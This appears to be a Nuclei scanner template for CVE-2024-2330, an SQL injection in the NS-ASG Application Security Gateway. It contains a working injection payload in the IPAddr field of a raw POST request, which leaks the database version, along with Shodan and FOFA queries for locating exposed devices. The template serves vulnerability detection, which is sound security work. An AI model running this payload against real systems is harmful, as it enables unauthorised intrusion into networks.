CVE-2024-2330: NS-ASG Application Security Gateway 6.3 - Sql Injection

id: CVE-2024-2330

info:
  name: NS-ASG Application Security Gateway 6.3 - Sql Injection
  author: s4e-io
  severity: medium
  description: |
    A vulnerability was found in Netentsec NS-ASG Application Security Gateway 6.3. It has been classified as critical. This affects an unknown part of the file /protocol/index.php. The manipulation of the argument IPAddr leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-2330
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2330
    - https://github.com/jikedaodao/cve/blob/main/NS-ASG-sql-addmacbind.md
    - https://vuldb.com/?ctiid.256281
    - https://vuldb.com/?id.256281
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2024-2330
    cwe-id: CWE-89
    epss-score: 0.93057
    epss-percentile: 0.99769
  metadata:
    max-request: 2
    shodan-query: http.title:“NS-ASG”
    fofa-query: app="网康科技-NS-ASG安全网关"
  tags: cve,cve2024,ns-asg,sqli,vkev,vuln

http:
  - raw:
      - |
        POST /protocol/index.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"XPATH syntax error:","alert") && contains(header,"text/html")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "XPATH syntax error: '([~0-9.]+)'"
# digest: 4a0a0047304502200c0098413f94f7324ba119d263770404285fded708ad7dee71dcfe9d9963a43c022100ba7a066dfa210b7f007ee6f3e120e8b8e3a755f8ac484110dd5a511430314e60:922c64590222798bb761d5b6d8e72950